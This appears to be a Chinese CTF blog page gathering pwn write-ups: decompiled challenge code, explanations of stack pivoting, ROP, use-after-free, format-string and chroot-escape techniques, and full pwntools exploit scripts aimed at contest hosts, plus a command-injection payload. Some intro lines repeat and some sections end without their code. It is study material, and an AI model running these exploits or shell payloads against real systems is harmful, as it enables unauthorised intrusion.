前言
太菜了了喵,不懂dev 不懂algo
总排名 #68,校外排名 #22,差四十分就能拿到三等奖了还是太菜了
签到
啊这,看起来像是压缩包套娃,随便点了几下就找到flag了
flag{W3LCOME-TO-THE-GUTSY-GUSHY-GEEKGAME}
清北问答
flag1
flag{jailbreak-master-unleashed}
flag2
太菜了了喵,不懂dev 不懂algo
总排名 #68,校外排名 #22,差四十分就能拿到三等奖了还是太菜了
啊这,看起来像是压缩包套娃,随便点了几下就找到flag了
flag{W3LCOME-TO-THE-GUTSY-GUSHY-GEEKGAME}
flag1
flag{jailbreak-master-unleashed}
flag2
We found a command injection….. but you have to reboot the router to activate it…
### IMPORTS ###
import os, time, sys
### INPUT ###
hostname = 'bababooey'
while True:
print('=== MENU ===')
print('1. Set hostname')
print('2. Reboot')
print()
choice = input('Choice: ')
if choice == '1':
hostname = input('Enter new hostname (30 chars max): ')[:30]
elif choice == '2':
print("Rebooting...")
sys.stdout.flush()
time.sleep(30)
os.system(f'cat /etc/hosts | grep {hostname} -i')
print('Reboot complete')
else:
print('Invalid choice')
命令注入? 查询了一下shell相关的文档,发现可以通过 ;去连接两条子命令,# 去注释掉 -i
exp
1; /bin/bash #
A few friends and I recently hacked into a consumer-grade home router. Our first goal was to obtain the firmware. To do that, we hooked up a SOIC-8 clip to the external flash memory chip, connected a Saleae Logic Pro 8 logic analyzer, and captured data using Logic 2 as we booted up the IoT device. The external flash memory chip was Winbond 25Q128JVSQ.
What's the md5sum of /etc/passwd?
Flag format - byuctf{hash}
external flash memory chip(外部存储芯片) 一般用来存数据(文件系统),需要分析Saleae逻辑分析仪捕获的信号,来还原这个文件系统
题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2024pwn
程序逻辑非常简单,存在栈溢出只能覆盖返回地址,没有pie,通过二次栈迁移,控制rbp来实现任意地址写,然后第一次栈迁移往bss写满泄露地址的rop,之后二次迁移过去执行就可以执行rop,第一次rop泄露地址,第二次rop直接getshell
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "139.155.126.78"
PORT = 32922
elf = context.binary = ELF('./pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
p = connect()
rdi=0x0000000000400773
rbp=0x00000000004005b0
leave_ret=0x4006DB
ret=0x4006DC
vuln=0x4006C4
payload = flat([
b'a' * 0x30,0x601730,vuln
])
sa("Can you grasp this little bit of overflow?",payload)
payload = flat([
rdi,elf.got['read'],elf.plt['puts'],
rbp,0x601a30,vuln,
0x6016f8,leave_ret
])
s(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) -libc.sym['read']
success(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = flat([
rdi,binsh,system,b'a' * 0x18,
0x6019f8,leave_ret
])
s(payload)
p.interactive()
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int result; // eax
int v6; // eax
int v7; // eax
struct tm *v8; // eax
__time_t tv_sec; // edi
int st_size; // esi
const char *v11; // eax
struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
int v13; // [esp+Ch] [ebp-14130h] BYREF
int v14; // [esp+10h] [ebp-1412Ch] BYREF
int v15; // [esp+14h] [ebp-14128h] BYREF
int v16; // [esp+18h] [ebp-14124h] BYREF
char v17; // [esp+1Ch] [ebp-14120h] BYREF
char *haystack; // [esp+20h] [ebp-1411Ch]
int i; // [esp+24h] [ebp-14118h]
size_t v20; // [esp+28h] [ebp-14114h]
char *has_host; // [esp+2Ch] [ebp-14110h]
char *v22; // [esp+30h] [ebp-1410Ch]
int stdout_fd; // [esp+34h] [ebp-14108h]
int v24; // [esp+38h] [ebp-14104h]
FILE *stream; // [esp+3Ch] [ebp-14100h]
int v26; // [esp+40h] [ebp-140FCh]
FILE *v27; // [esp+44h] [ebp-140F8h]
int c; // [esp+48h] [ebp-140F4h]
struct stat v29; // [esp+4Ch] [ebp-140F0h] BYREF
char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
char v31[16]; // [esp+A8h] [ebp-14094h] BYREF
char v32[116]; // [esp+B8h] [ebp-14084h] BYREF
char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
char input_data[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
char httpMethod[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
char requestPath; // [esp+56C0h] [ebp-EA7Ch] BYREF
char v37[9999]; // [esp+56C1h] [ebp-EA7Bh] BYREF
char httpVersion[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
char v40[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
__int64 v41; // [esp+12FE4h] [ebp-1158h]
char *v42; // [esp+12FECh] [ebp-1150h]
int v43; // [esp+1312Ch] [ebp-1010h] BYREF
unsigned int v44; // [esp+14120h] [ebp-1Ch]
int *p_argc; // [esp+1412Ch] [ebp-10h]
p_argc = &argc;
while ( &v43 != (int *)v33 )
;
v44 = __readgsdword(0x14u);
memset(&v33[884], 0, 1024);
v20 = 0;
strcpy(modes, "r");
if ( chdir("/home/ctf/html") < 0 )
puts_error(500, (int)"Internal Error", 0, "Config error - couldn't chdir().");
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "No request found.");
if ( __isoc99_sscanf(input_data, "%[^ ] %[^ ] %[^ ]", httpMethod, &requestPath, httpVersion) != 3 )
puts_error(400, (int)"Bad Request", 0, "Can't parse request.");
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "Missing Host.");
has_host = strstr(input_data, "Host: ");
if ( !has_host )
puts_error(400, (int)"Bad Request", 0, "Missing Host.");
v22 = strstr(has_host + 6, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(has_host + 6, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(has_host + 6) <= 7 )
puts_error(400, (int)"Bad Request", 0, "Host len error.");
if ( has_host == (char *)-6 || !has_host[6] )
puts_error(400, (int)"Bad Request", 0, "Host fmt error.");
v42 = &v17;
HIDWORD(v41) = &v16;
__isoc99_sscanf(has_host + 6, "%d.%d.%d.%d%c", &v13, &v14, &v15);
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
has_host = strstr(input_data, "Content-Length: ");
if ( !has_host )
puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
v22 = strstr(has_host + 16, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(has_host + 16, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(has_host + 16) > 5 )
puts_error(400, (int)"Bad Request", 0, "Content-Length len too long.");
if ( strcasecmp(httpMethod, "get") )
puts_error(501, (int)"Not Implemented", 0, "That method is not implemented.");
if ( strncmp(httpVersion, "HTTP/1.0", 8u) )
puts_error(400, (int)"Bad Request", 0, "Bad protocol.");
if ( requestPath != 47 )
puts_error(400, (int)"Bad Request", 0, "Bad filename.");
haystack = v37;
urldecode(v37, v37);
if ( !*haystack )
haystack = "./";
v20 = strlen(haystack);
if ( *haystack == '/' // 目录穿越检查
|| !strcmp(haystack, "..")
|| !strncmp(haystack, "../", 3u)
|| strstr(haystack, "/../")
|| !strcmp(&haystack[v20 - 3], "/..") )
{
puts_error(400, (int)"Bad Request", 0, "Illegal filename.");
}
if ( !sub_1F74(haystack) )
puts_error(404, (int)"Not Found", 0, "Invalid file name.");
v3 = fileno(stdout);
stdout_fd = dup(v3);
v4 = fileno(stderr);
v24 = dup(v4);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
stream = popen(haystack, modes);
if ( stream )
{
pclose(stream);
v6 = fileno(stdout);
dup2(stdout_fd, v6);
v7 = fileno(stderr);
dup2(v24, v7);
close(stdout_fd);
close(v24);
if ( stat(haystack, &v29) < 0 )
puts_error(404, (int)"Not Found", 0, "File not found.");
if ( (v29.st_mode & 0xF000) == 0x4000 )
{
if ( haystack[v20 - 1] != 47 )
{
snprintf(v40, 0x4E20u, "Location: %s/", &requestPath);
puts_error(302, (int)"Found", (int)v40, "Directories must end with a slash.");
}
snprintf(file, 0x4E20u, "%sindex.html", haystack);
if ( stat(file, &v29) < 0 )
{
sub_23D9(200, "Ok", 0, (int)"text/html", -1, v29.st_mtim.tv_sec);
v26 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort);
if ( v26 >= 0 )
{
for ( i = 0; i < v26; ++i )
{
sub_2704(v32, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
if ( lstat(file, &v29) >= 0 )
{
v8 = localtime(&v29.st_mtim.tv_sec);
strftime(v31, 0x10u, "%d%b%Y %H:%M", v8);
printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v32, namelist[i]->d_name, v31, (__int64)v29.st_size);
sub_20C6(file);
}
else
{
printf("<a href=\"%s\">%-32.32s</a> ???\n", v32, namelist[i]->d_name);
}
printf(
"</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
"https://2024ycb.dasctf.com/",
"YCB2024");
}
}
else
{
perror("scandir");
}
goto LABEL_74;
}
haystack = file;
}
v27 = fopen(haystack, "r");
if ( !v27 )
puts_error(403, (int)"Forbidden", 0, "File is protected.");
tv_sec = v29.st_mtim.tv_sec;
st_size = v29.st_size;
v11 = sub_2566(haystack);
sub_23D9(200, "Ok", 0, (int)v11, st_size, tv_sec);
while ( 1 )
{
c = getc(v27);
if ( c == -1 )
break;
putchar(c);
}
LABEL_74:
fflush(stdout);
exit(0);
}
result = -1;
if ( v44 != __readgsdword(0x14u) )
check_canary();
return result;
}
程序的逻辑很长,实现了一个http request parse,然后相应请求,大多数逻辑都是对http request的格式做判断,还有目录穿越的检查
漏洞出在这里popen这里
这个popen会fork一个子进程,然后调用shell,把参数传过去,也没有做过滤,所以可以通过这里执行命令
exp
题目附件https://github.com/nyyyddddn/ctf/tree/main/gdbjail
最近在ImaginaryCTF看到两个关于gdbjail的题目,觉得挺有意思的,远程提供了一个受限的gdb调试环境,限制交互的时候使用的命令,目的是利用限制的命令去实现getshell,或者是将flag读出来。
没用过没装插件的gdb,不装插件挺难用的
run.sh
#!/bin/bash
gdb -x /home/user/gdbinit
gdbinit
source /home/user/main.py
main.py
import gdb
def main():
gdb.execute("file /bin/cat")
gdb.execute("break read")
gdb.execute("run")
while True:
try:
command = input("(gdb) ")
if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
try:
gdb.execute(command)
except gdb.error as e:
print(f"Error executing command '{command}': {e}")
else:
print("Only 'break', 'set', and 'continue' commands are allowed.")
except:
pass
if __name__ == "__main__":
main()
题目附件https://github.com/nyyyddddn/ctf/tree/main/nssr3d_Iterator_Trap/Iterator_Trap
这是一个关于stl迭代器不安全使用导致uaf的漏洞,第一次出和stl相关的题目
题目逻辑
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
uint32_t choice; // [rsp+Ch] [rbp-54h] BYREF
std::vector<void*> chunklist; // [rsp+10h] [rbp-50h] BYREF
std::vector<int> sizelist; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-18h]
v6 = __readfsqword(0x28u);
std::vector<void *>::vector(&chunklist);
std::vector<int>::vector(&sizelist);
init();
gift();
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%u", &choice);
if ( choice != 3 )
break;
edit_func(&chunklist, &sizelist);
}
if ( choice > 3 )
break;
if ( choice == 1 )
{
create_func(&chunklist, &sizelist);
}
else
{
if ( choice != 2 )
break;
delete_func(&chunklist, &sizelist);
}
}
exit(0);
}
void __cdecl menu()
{
puts("[1] void create(__uint32_t size,char *content)");
puts("[2] void delete(__uint32_t idx)");
puts("[3] void edit(__uint32_t idx,char *content)");
printf(">>> ");
}
void __cdecl gift()
{
void *v0; // rax
v0 = sbrk(0LL);
printf("Welcome to nssctf 3rd. gift: %p\n", v0);
}
void __cdecl create_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
std::vector<int>::size_type v2; // rdx
__gnu_cxx::__alloc_traits<std::allocator<int>,int>::value_type v3; // ebx
std::vector<void*>::size_type v4; // rdx
char **v5; // rax
int size; // [rsp+1Ch] [rbp-24h] BYREF
std::vector<void*>::value_type __x[3]; // [rsp+20h] [rbp-20h] BYREF
__x[1] = (std::vector<void*>::value_type)__readfsqword(0x28u);
puts("size: ");
__isoc99_scanf("%d", &size);
__x[0] = malloc(size);
std::vector<void *>::push_back(chunklist, __x);
std::vector<int>::push_back(sizelist, &size);
puts("content: ");
v2 = std::vector<int>::size(sizelist) - 1;
v3 = *std::vector<int>::operator[](sizelist, v2);
v4 = std::vector<void *>::size(chunklist) - 1;
v5 = (char **)std::vector<void *>::operator[](chunklist, v4);
my_fgets(*v5, v3, 0);
}
ssize_t __cdecl my_fgets(char *buf, int size, int fd)
{
size_t v4; // rdx
char ch_0; // [rsp+17h] [rbp-19h] BYREF
size_t total_read; // [rsp+18h] [rbp-18h]
ssize_t bytes_read; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
v9 = __readfsqword(0x28u);
if ( size <= 0 || !buf )
return -1LL;
total_read = 0LL;
while ( total_read < size - 1 )
{
bytes_read = read(fd, &ch_0, 1uLL);
if ( ch_0 == 10 )
break;
v4 = total_read++;
buf[v4] = ch_0;
}
return total_read;
}
void __cdecl delete_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
std::vector<void*>::size_type M_current_low; // rbx
void **v4; // rax
int i; // [rsp+1Ch] [rbp-34h]
__gnu_cxx::__normal_iterator<int*,std::vector<int> > v6; // [rsp+20h] [rbp-30h] BYREF
__gnu_cxx::__normal_iterator<int*,std::vector<int> > __i; // [rsp+28h] [rbp-28h] BYREF
__gnu_cxx::__normal_iterator<void* const*,std::vector<void*> > idx[3]; // [rsp+30h] [rbp-20h] BYREF
idx[1]._M_current = (void *const *)__readfsqword(0x28u);
for ( i = 0; i < std::vector<int>::size(sizelist); ++i )
{
if ( *std::vector<int>::operator[](sizelist, i) == -1 )
{
v6._M_current = std::vector<int>::begin(sizelist)._M_current;
__i._M_current = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v6, i)._M_current;
__gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(
(__gnu_cxx::__normal_iterator<int const*,std::vector<int> > *const)idx,
&__i);
std::vector<int>::erase(sizelist, (std::vector<int>::const_iterator)idx[0]._M_current);
v6._M_current = (int *)std::vector<void *>::begin(chunklist)._M_current;
__i._M_current = (int *)__gnu_cxx::__normal_iterator<void **,std::vector<void *>>::operator+(
(const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *const)&v6,
i)._M_current;
__gnu_cxx::__normal_iterator<void * const*,std::vector<void *>>::__normal_iterator<void **>(
idx,
(const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *)&__i);
std::vector<void *>::erase(chunklist, idx[0]);
}
}
puts("idx: ");
__isoc99_scanf("%d", idx);
if ( SLODWORD(idx[0]._M_current) >= 0
&& (M_current_low = SLODWORD(idx[0]._M_current), M_current_low < std::vector<void *>::size(chunklist)) )
{
v4 = std::vector<void *>::operator[](chunklist, SLODWORD(idx[0]._M_current));
free(*v4);
*std::vector<int>::operator[](sizelist, SLODWORD(idx[0]._M_current)) = -1;
puts("success");
}
else
{
puts("error");
}
}
漏洞出在 delete_func这边 在delete前会根据sizelist容器中成员的值,判断哪些是free状态的成员然后再erase这些成员,但是在erase的时候是根据begin() + i 去erase的,erase完后容器的大小发生了变化,下一个begin() + i 就不是原先的 begin() + i了,所以在delete的时候并不能earse连续的free状态的成员,所以存在一个uaf。 然后create的时候size也没有做下界的判断,所以可以通过create_func去创建连续负值的size去构造uaf。
gift 通过sbrk 给了堆地址,就不用泄露堆地址,然后这个edit其实可以当show来用,实现出任意地址申请后,可以申请到堆上vector成员的位置,再配合edit,就可以实现多次任意地址写,泄露出environ后,用任意地址写去写子函数的返回地址打rop去getshell
或者是打fsop house of apple2的利用链,只需要泄露libc还有实现一次任意地址写,之后伪造iofile,宽字符的虚表后就可以getshell
劫持vector 把任意地址申请增强 转换成可以用很简单的方式实现任意地址读写的做法
exp
题目附件https://github.com/nyyyddddn/ctf/tree/main/srcrf_pwn
啊这,咱没有想到解出来的人很少,因为chroot escape相关的文章网上有很多,这里挑重点说一下,更详细的信息可以看这里
https://web.archive.org/web/20160127150916/http://www.bpfh.net/simes/computing/chroot-break.html
chroot本质上是通过chroot系统调用去更改进程的根目录位置,以限制该进程对系统其他部分的访问。然而,在具有root权限的情况下,可以通过chdir和chroot实现二次逃逸。具体做法是,通过chdir系统调用将当前目录更改成跟目录,然后使用chroot将根目录重新设置为当前工作目录。从而恢复对整个文件系统的访问。
exp
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
mkdir("sub-dir", 0755);
chroot("sub-dir");
for(int i = 0; i < 10; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
需要静态链接或者是内联汇编,因为容器里没有装动态链接库
如何上传文件??可以先将数据编码,然后通过终端将编码的数据传上去后再解码
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
import base64
import sys
import os
context(os='linux', arch='amd64')
context.log_level = 'debug'
is_debug = 0
IP = "110.40.35.62"
PORT = 32794
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def read_file(filename):
with open(filename, 'r') as file:
return file.read()
p = connect()
cmd = '$ '
os.system('base64 exp > exp.b64')
sl('cat <<EOF > exp.b64')
sl(read_file('exp.b64'))
sl('EOF')
sl('base64 -d exp.b64 > exp')
sl('chmod +x ./exp')
p.interactive()
题目附件https://github.com/nyyyddddn/ctf/tree/main/xyctf_pwn
前段时间好忙,最近这几天才抽出时间整理下东西,xyctf是今年四月份开的,当时是第一次出题,想给入门pwn一段时间的师傅分享些简单又可以开阔一下思路的pwn题
在glibc 2.31以后 csu fini csu init都变成了动态链接,大多数好用的修改寄存器的gadget(如pop rdi ret,pop rsi ret)都是从csu init中错位字节获取的,在能泄露libc的情况下,可以转换一下思路,从libc中拿gadget
程序逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[20]; // [rsp+0h] [rbp-20h] BYREF
init();
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
return 0;
}
程序有两次输入的机会,第一次输入通过%s去泄露一个libc相关的地址,然后计算出libc_base,然后用libc中的gadget打rop就行了
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "xyctf.top"
PORT = 36241
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = b'a' * 0x28
time.sleep(0.3)
# g(p)
s(payload)
ru(b'a' * 0x28)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7f662d429d90 - 0x7f662d400000)
success(f"libc_base ->{hex(libc_base)}")
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x0000000000029139
payload = b'b' * 0x28
payload += p64(pop_rdi_ret) + p64(binsh) + p64(ret)+ p64(system)
time.sleep(0.3)
# g(p)
s(payload)
p.interactive()
题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2023
一道riscv64 小端序 栈溢出 ret2text的题目,最新的ida 9.0可以反编译riscv架构的程序,就不需要用难用的ghidra去分析了
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE v4[288]; // [sp+0h] [-120h] BYREF
init_io();
puts("RiskY LoG1N SySTem");
puts("Input ur name:");
read(0, command, 8uLL);
printf("Hello, %s", command);
puts("Input ur words");
read(0, v4, 0x120uLL);
my_input(v4);
puts("message received");
return 0;
}
char *__fastcall my_input(const char *a1)
{
char v3[248]; // [sp+18h] [-108h] BYREF
byte_12347070 = strlen(a1);
if ( (unsigned __int8)byte_12347070 > 8uLL )
{
puts("too long.");
exit(-1);
}
return strcpy(v3, a1);
}
__int64 backdoor()
{
puts("background debug fun.");
puts("input what you want exec");
read(0, command, 8uLL);
if ( strstr(command, "sh") || strstr(command, "flag") )
{
puts("no.");
exit(-1);
}
return system(command);
}
https://ta0lve.github.io/posts/pwn/risc-v/0x01/#%E5%AF%84%E5%AD%98%E5%99%A8%E5%AD%A6%E4%B9%A0
在my input这里存在一个栈溢出,因为strlen只检查低一个字节的数据,那该溢出多少?通过阅读文档可以发现这个ret相当于jmp ra的作用,然后sd ra, 110h+var_s8(sp) 这个是存储返回地址,所以返回地址在栈底 - 0x8的位置,然后strcpy地址距离栈底 0x108,偏移0x100就刚刚好到返回地址那了
.text:0000000012345786 my_input: # CODE XREF: main+7A↓p
.text:0000000012345786
.text:0000000012345786 var_108 = -108h
.text:0000000012345786 var_F8 = -0F8h
.text:0000000012345786 var_s0 = 0
.text:0000000012345786 var_s8 = 8
.text:0000000012345786 arg_0 = 10h
.text:0000000012345786
.text:0000000012345786 addi sp, sp, -120h
.text:0000000012345788 sd ra, 110h+var_s8(sp)
.text:000000001234578A sd s0, 110h+var_s0(sp)
.text:000000001234578C addi s0, sp, 110h+arg_0
.text:000000001234578E sd a0, -10h+var_108(s0)
.text:0000000012345792 ld a0, -10h+var_108(s0)
.text:0000000012345796 call strlen
.text:000000001234579E mv a5, a0
.text:00000000123457A0 andi a4, a5, 0FFh
.text:00000000123457A4 sb a4, byte_12347070
.text:00000000123457A8 lbu a5, byte_12347070
.text:00000000123457AC mv a4, a5
.text:00000000123457AE li a5, 8
.text:00000000123457B0 bgeu a5, a4, loc_123457CE
.text:00000000123457B4 lui a5, %hi(aTooLong) # "too long."
.text:00000000123457B8 addi a0, a5, %lo(aTooLong) # "too long."
.text:00000000123457BC call puts
.text:00000000123457C4 li a0, -1
.text:00000000123457C6 call exit
.text:00000000123457CE # ---------------------------------------------------------------------------
.text:00000000123457CE
.text:00000000123457CE loc_123457CE: # CODE XREF: my_input+2A↑j
.text:00000000123457CE addi a5, s0, -10h+var_F8
.text:00000000123457D2 ld a1, -10h+var_108(s0)
.text:00000000123457D6 mv a0, a5
.text:00000000123457D8 call strcpy
.text:00000000123457E0 nop
.text:00000000123457E2 ld ra, 110h+var_s8(sp)
.text:00000000123457E4 ld s0, 110h+var_s0(sp)
.text:00000000123457E6 addi sp, sp, 120h
.text:00000000123457E8 ret
覆盖返回地址为backdoor,然后cat fl* 就能把flag读出来了
那riscv的程序如何调试呢?? qemu 有一个 -g的参数可以通过gdb-multiarch remote连上去打断点调试,在process开程序的时候加这个-g的参数就可以通过gdb连上去调试了
debug.sh
hznuctf_ezpwn
int __cdecl main(int argc, const char **argv, const char **envp)
{
sand_box(argc, argv, envp);
rand_time();
vuln();
return 0;
}
void rand_time()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
seed = time(0LL);
printf("welcome to HZNUCTF !");
printf("Please input your name: ");
read(0, buf, 0x10uLL);
printf("Hello, %s\n", buf);
puts("I wonder if you're lucky enough");
srand(seed);
for ( i = 0; i <= 9; ++i )
{
printf("Let's guess the number: ");
__isoc99_scanf("%d", &seed);
if ( rand() != seed )
{
puts("Wrong.");
puts("Guess you weren't lucky enough.");
exit(-1);
}
puts("Right.");
}
}
__int64 vuln()
{
puts("WOW you really a lucky guy!");
puts("Then I want to know if you are capable enough.");
while ( 1 )
{
printf("Please tell us something: ");
read(0, s1, 0x80uLL);
if ( !strcmp(s1, "HZNUCTF") )
break;
printf(s1);
}
return 0LL;
}
非栈上格式化字符串相对栈上格式化字符串 最麻烦的地方是任意地址写需要通过一个指针去调整另一个指针,一个字节或者是两个字节的写数据,需要两个步骤,有orw的情况下(不考虑这个沙箱能escape的情况)如果能正常退出循环,可以配合栈迁移的方式,把栈迁移到输入地址那进行rop,然后还可以通过二次迁移迁移到已知的地址来做更复杂的操作
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "150.158.117.224"
PORT = 20042
elf = context.binary = ELF('./ez_pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
cdll=ctypes.CDLL("./libc-2.31.so")
p = connect()
payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
payload=cdll.rand()
sla("Let's guess the number: ",str(payload))
payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)
stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369
payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100
payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)
payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)
p.interactive()
corctf_format-string
source.c
题目附件https://github.com/nyyyddddn/ctf/tree/main/tfcctf2024
程序的逻辑如下 这里GUARD也就是指canary
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v5; // [rsp+Ch] [rbp-14h] BYREF
pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(argc, argv, envp);
puts("Welcome! Press 1 to start the chall.");
__isoc99_scanf("%d", &v5);
if ( v5 != 1 )
{
puts("Bye!");
exit(0);
}
len = get_len();
pthread_create(&newthread, 0LL, game, 0LL);
pthread_join(newthread, 0LL);
